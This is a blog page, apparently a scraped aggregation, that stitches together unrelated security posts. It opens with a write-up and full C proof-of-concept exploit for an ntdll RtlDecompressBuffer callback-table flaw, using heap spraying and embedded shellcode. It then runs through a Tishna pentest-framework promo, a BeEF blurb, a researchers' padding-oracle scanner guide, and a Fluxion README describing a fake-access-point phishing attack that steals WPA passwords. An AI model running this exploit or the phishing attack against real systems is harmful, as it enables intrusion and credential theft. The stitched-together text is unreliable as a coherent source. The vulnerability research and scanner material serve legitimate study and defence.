Actually Make Money Online: Apr 16, 2020

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector


This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related word

Tishna: An Automated Pentest Framework For Web Servers, Web Applications To Web Security

About Tishna:
Tishna is complete automated pentest framework for web servers, application layer to web security.

Tishna was tested on: Kali Linux, Parrot Security OS, Black Arch, Termux, Android Led TV.

Tishna's interface: Tishna has 62 options with full automation and can be use for web security swiss knife.

Tishna's installation: First, boot your Kali Linux or Parrot Security OS up. Then open Terminal and enter these commands

Appeared:

Cyber Space (Computer Security).

Terror Security (Computer Security).

National Cyber Security Services.

Brief Introduction

Tishna is useful in Banks, Private Organisations and Ethical hacker personnel for legal auditing.

It serves as a defense method to find as much as information possible for gaining unauthorised access and intrusion.

With the emergence of more advanced technology, cybercriminals have also found more ways to get into the system of many organizations.

Tishna software can audit, servers and web behaviour.

Tishna can perform Scanning & Enumeration as much as possible of target.

It's first step to stop cyber criminals by securing your Servers and Web Application Security.

Tishna is false positive free, when there is something it will show no matter what, if it is not, it will give blank results rather error.

Developer

Haroon Awan

mrharoonawan@gmail.com

Support to the coder
You can sponsor and support via BTC.
The bitcoin address: 3BuUYgEgsRuEra4GwqNVLKnDCTjLEDfptu
qr code

Download Tishna

Related links

BeEF: Browser Exploitation Framework

"BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of XSS browser vulnerabilities. Development has focused on creating a modular structure making new module development a trivial process with the intelligence residing within BeEF. Current modules include the first public Inter-protocol Exploit, a traditional browser overflow exploit, port scanning, keylogging, clipboard theft and more." read more...

Website: http://www.bindshell.net/tools/beef

Continue reading

Scanning For Padding Oracles

As you might have heard, we recently got our paper on padding oracle attacks accepted to the USENIX Security Conference. In this paper, we describe and evaluate a scanning methodology with which we found several padding oracle vulnerabilities in devices from various vendors. In total, we found that 1.83% of the Alexa Top 1 Million have padding oracle vulnerabilities.

To test whether a server is vulnerable, we specified different padding oracle vectors which we send to the system under test, using different cipher suites and protocol versions. If the server does not behave identically (on both the TLS and TCP layers), we consider it to be vulnerable to a padding oracle attack, since it is leaking information about the plaintext via behavior differences. Depending on the responses to such padding oracle vectors, one can estimate which implementation is responsible for the vulnerability. We contacted quite a few website owners and tried to cooperate with them, to find out which vendors and TLS stacks are responsible for the identified vulnerabilities. You can find our current disclosure status on this issue on https://github.com/RUB-NDS/TLS-Padding-Oracles.
We are currently in contact with other vendors to fix the remaining vulnerabilities, but the some of the rare (in terms of the number of affected hosts) vulnerabilities are currently not attributed. To fix the remaining vulnerabilities, we ask for your assistance to help get rid of this issue. For this purpose, we integrated a standalone version of our padding oracle evaluation tool into our TLS-Scanner (v.2.7) project. This tool allows you (among other things) to evaluate if a specific server is vulnerable.

When the tool detects a vulnerability, it tries to attribute the vulnerability to a specific vendor or CVE. If we already know of the vulnerability of the server you scanned, the tool will print its details. If the tool does not have a description of the vulnerability in its database, it will ask you to notify us about the vulnerable server, such that we can notify the vendor and get the device fixed. To be clear: the tool never sends any data to us - you have the choice of whether to notify us (and what details to include). There is a chance that the tool's attribution is also mistaken, that is, the tool lists a vendor for your host, but you know for sure that you do not use an implementation by this vendor. Please contact us in such cases as well.

How to use the Tool

First, you need to grab hold of the tool. There are 3 ways to get your hands dirty: pre-compiled, self-compiled or Docker. We provide a pre-compiled version of the tool since the compilation process can get quite messy if you are not familiar with java and maven. You can directly download the resulting project here. However, if you also want to play around with the code, you have to compile everything yourself.

Building the TLS-Scanner

For this, you will need (Git), maven (sudo apt-get install maven), OpenJDK-8 (I can guarantee that this version works, other versions might work as well, have not tested it).

You will need to get TLS-Attacker 2.9 (if you do not already have it):
Now we can clone and install the TLS-Scanner

Docker

We also provide a Dockerfile, which lets you run the scanner directly

Getting Started

If you start the TLS-Scanner you should be greeted by a usage info, similar to the one below:

or

This should give you an overview of the supported command line flags. The only really required one is the -connect flag (similar to OpenSSL and TLS-Attacker), with which you specify which host to scan. The most basic command is therefore:

Your output may look something like this:

By default, TLS-Scanner will run single-threaded. In such cases the scanning will take a while; just how long it will take depends on your server configuration. The scanner also supports multi-threading, which drastically improves the performance. There are two parameters to play around with, -threads, which controls how many different "probes" are executed in parallel, and -aggressive , which controls how many handshakes can be executed simultaneously. If you want the fastest results the following parameters are usually a good choice:

But lets get back to the results of the Scanner. Currently the Scanner supports a bunch of well known tests, like supported ciphersuites or protocol versions. These are very similar to what you may be used to from other scanners like ssllabs or testssl.sh.

Padding Oracles

The main advantage of our scanner is the ability to scan for padding oracle vulnerabilities (which is probably why you are reading this post). You will see if you are vulnerable in the "Attack Vulnerabilities" section. For example, when scanning hackmanit.de, the result is false. Good for us! But as you might have seen there is also another section in the scanner report:"PaddingOracle Responsemap"
This section lists the responses of the scanned host for each padding oracle vector, for each cipher suite and protocol version. For hackmanit.de, there is no detected difference in responses, which means hackmanit.de is not vulnerable to the attack:
If we want, we can also look at the concrete responses of the server. For this purpose, we start the scanner with the -reportDetail flag:

With this flag we now get the following details:

So what does this all mean? First of all, we named our malformed records. The interpretation of those names is visualized in the following table:

BasicMac-<position>-<XOR>	A Record with ApplicationData, MAC and padding bytes, where the padding byte at <position> is XOR'd <XOR>
MissingMacByteFirst	A Record without ApplicationData, where the first byte of the MAC is missing
MissingMacByteLast	A Record without ApplicationData, where the last byte of the MAC is missing
Plain FF	A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xFF
Plain 3F	A Record without ApplicationData & MAC which only contains Paddingbytes: 64* 0xF3
InvPadValMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with invalid padding and valid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The Padding is invalid at <position>.
ValPadInvMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with valid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at <position>.
InvPadInvMac-[<position>]-<appDataLength>-<paddingBytes>	A Record with invalid padding and invalid MAC. The Record contains <appDataLength> many ApplicationData bytes and <paddingBytes> many PaddingBytes. The MAC is invalid at the first position. The Padding is invalid at <position>.

Next to the name you can see what the actual response from the server was. Alert messages which are in [] brackets indicate that the alert was a fatal alert while () brackets indicate a warning alert. ENC means that the messages were encrypted (which is not always the case). The last symbol in each line indicates the state of the socket. An X represents a closed socket with a TCP FIN, a T indicates that the socket was still open at the time of measurement and an @ indicates that the socket was closed with an RST. So how did Hackmanit respond? We see a [BAD_RECORD_MAC] ENC X, which means we received an ENCrypted FATAL BAD_RECORD_MAC alert, and the TCP connection was closed with a TCP FIN. If a server appears to be vulnerable, the scanner will execute the scan a total of three times to confirm the vulnerability. Since this response is identical to all our vectors, we know that the server was not vulnerable and the scanner is not re-executing the workflows.

Here is an example of a vulnerable host:
As you can see, this time the workflows got executed multiple times, and the scanner reports the cipher suite and version as vulnerable because of "SOCKET_STATE". This means that in some cases the socket state revealed information about the plaintext. If you look closely, you can see that for ValPadInvMac-[0]-0-59, ValPadInvMac-[8]-0-59 and ValPadInvMac-[15]-0-59 the server failed to close the TCP socket, while for all other vectors the TCP connect was closed with a TCP FIN. The server was therefore vulnerable.

Since the server was vulnerable, TLS-Scanner will also print an additional section: "PaddingOracle Details"

In this section we try to identify the vulnerability. In the example above, TLS-Scanner will print the following:

As you can see, we attribute this vulnerability to OpenSSL <1.0.2r. We do so by looking at the exact responses to our malformed records. We additionally print two important facts about the vulnerability: Whether it is observable and its strength. The precise details of these properties are beyond the scope of this blogpost, but the short version is:
If an oracle is observable, a man in the middle attacker can see the differences between the vectors by passively observing the traffic, without relying on browser or application specific tricks. A strong oracle has no limitations in the number of consecutive bytes an attacker can decrypt. If an oracle is STRONG and OBSERVABLE, then an attacker can realistically exploit it. This is the case in the example above.
For more details on this, you will have to wait for the paper.

Attribution

As you can see, we try to fingerprint the responsible device/implementation. However, we were not able to identify all vulnerable implementations yet. If we cannot attribute a vulnerability you will receive the following message:

Could not identify the vulnerability. Please contact us if you know which software/hardware is generating this behavior.

If you encounter this message, we do not know yet who is responsible for this padding oracle and would be happy to know which device/vendor is responsible. If you know who is, please contact us so that we can get in contact with the vendor to fix the issue. To reiterate, the tool never sends any data back to us, and it is your choice whether to contact us manually or not.

There are also some cases in which we can identify the vendor, but the vendor has not patched the vulnerability yet. If you encounter such a host, the scanner will tell you that we know the responsible vendor. To prevent abuse, we do not include further details.

Non-Determinism and Errors

In some cases, the scanner is unable to scan for padding oracles and reports ERROR or non-deterministic responses. The ERROR cases appear if the scanner failed could not handshake with the specified cipher suite and protocol version. This might be due to a bug in the tested TLS-Server or a bug in TLS-Attacker or TLS-Scanner. If you think the handshake fails because of an issue on our side, please open an issue on Github, and we will investigate. The more interesting cases are the non-deterministic ones. In such cases the scanner observed non-identical scan results in three separate scans. This can be due to non-determinism in the software, connection errors, server load or non-homogeneous load balancing. Currently, you will have to analyze these cases manually. In the paper, we excluded such hosts from our study because we did not want to artificially improve our results. But we understand that you as a tester want to know if the server is vulnerable or not. If the server is not truly vulnerable you would see the differences between the answers spread across all the different vectors. If the differences only appear on a subset of malformed records the server is very likely vulnerable. If you are unsure, you can also always scan multiple times (or scan slowly), increase the timeout, or if you are entirely lost get in touch with us.

How YOU can help

Please use the scanner on all your hosts and check for padding oracle vulnerabilities. If the scanner can identify your vulnerability, a patch should already be available. Please patch your system! If the scanner does not identify the vulnerability (and instructs you to contact us), please contact us with the details (robert.merget@rub.de). If you can provide us with the detailed output of the scanner or even better, the name of the host, with the corresponding vendor, we could match the results with our database and help fix the issue. We can already attribute over 90% of the vulnerabilities, but there is still a lot to be discovered. We mostly scanned the Alexa top 1-million on port 443. Other protocols like IMAPS, POP3S, etc. might have different implementations with different vulnerabilities. If you find vulnerabilities with our tool, please give us credit. It helps us to get more funding for our project.

Issues with the Scanner

A notable feature of our scanner is that we do not actively try to avoid intolerances (like not scanning with a lot of cipher suites in the Hello messages etc.). We believe that doing so would hide important bugs. We are currently experimenting with intolerances checks, but the feature is now still in beta. If we cannot scan a server (most of the time due to intolerances or SNI problems), the scanner will report a lot of intolerances and usually no supported protocol versions. Some intolerances may trick the scanner into reporting false results. At the current stage, we cannot make any guarantees. If you are using this tool during a pentest, it might be smart to rescan with other scanners (like the recently released padcheck tool from our colleague Craig Young) to find the ground truth (this is good advice in general, since other mainstream scanners likely have the same issues). Note however that it is very unlikely that the scanner reports a false positive on a padding oracle scan.

Conclusion

There are still a lot of padding oracle vulnerabilities out there - and a lot of them are still unpatched. We hope you will find some bugs with the tool :) Happy H4cking :D

Acknowlegements

This is joint work from Robert Merget (@ic0nz1), Juraj Somorovsky (@jurajsomorovsky), Nimrod Aviram (@NimrodAviram), Janis Fliegenschmidt (@JanisFliegens), Craig Young (@craigtweets), Jörg Schwenk (@JoergSchwenk) and (Yuval Shavitt).

Fluxion - Set Up Fake AP, Fake DNS, And Create Captive Portal To Trick Users Into Giving You Their Password

Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the FAQ before requesting issues.
If you need quick help, fluxion is also avaible on gitter. You can talk with us on Gitter or on Discord.

Installation
Read here before you do the following steps.
Download the latest revision

git clone --recursive git@github.com:FluxionNetwork/fluxion.git

Switch to tool's directory

cd fluxion

Run fluxion (missing dependencies will be auto-installed)

./fluxion.sh

Fluxion is also available in arch

cd bin/arch
makepkg

or using the blackarch repo

pacman -S fluxion

Changelog
Fluxion gets weekly updates with new features, improvements, and bugfixes. Be sure to check out the changelog here.

How it works

Scan for a target wireless network.
Launch the Handshake Snooper attack.
Capture a handshake (necessary for password verification).
Launch Captive Portal attack.
Spawns a rogue (fake) AP, imitating the original access point.
Spawns a DNS server, redirecting all requests to the attacker's host running the captive portal.
Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 key.
Spawns a jammer, deauthenticating all clients from original AP and lureing them to the rogue AP.
All authentication attempts at the captive portal are checked against the handshake file captured earlier.
The attack will automatically terminate once a correct key has been submitted.
The key will be logged and clients will be allowed to reconnect to the target access point.
For a guide to the Captive Portal attack, read the Captive Portal attack guide

Requirements
A Linux-based operating system. We recommend Kali Linux 2 or Kali rolling. Kali 2 & rolling support the latest aircrack-ng versions. An external wifi card is recommended.

Related work
For development I use vim and tmux. Here are my dotfiles

Credits

l3op - contributor
dlinkproto - contributor
vk496 - developer of linset
Derv82 - @Wifite/2
Princeofguilty - @webpages and @buteforce
Photos for wiki @http://www.kalitutorials.net
Ons Ali @wallpaper
PappleTec @sites
MPX4132 - Fluxion V3

Disclaimer

Authors do not own the logos under the /attacks/Captive Portal/sites/ directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
The usage of Fluxion for attacking infrastructures without prior mutual consent could be considered an illegal activity, and is highly discouraged by its authors/developers. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.

Note

Beware of sites pretending to be related with the Fluxion Project. These may be delivering malware.
Fluxion DOES NOT WORK on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be Closed Immediately

Links
Fluxion website: https://fluxionnetwork.github.io/fluxion/
Discord: https://discordapp.com/invite/G43gptk
Gitter: https://gitter.im/FluxionNetwork/Lobby

Download Fluxion

More info

Actually Make Money Online

Thursday, April 16, 2020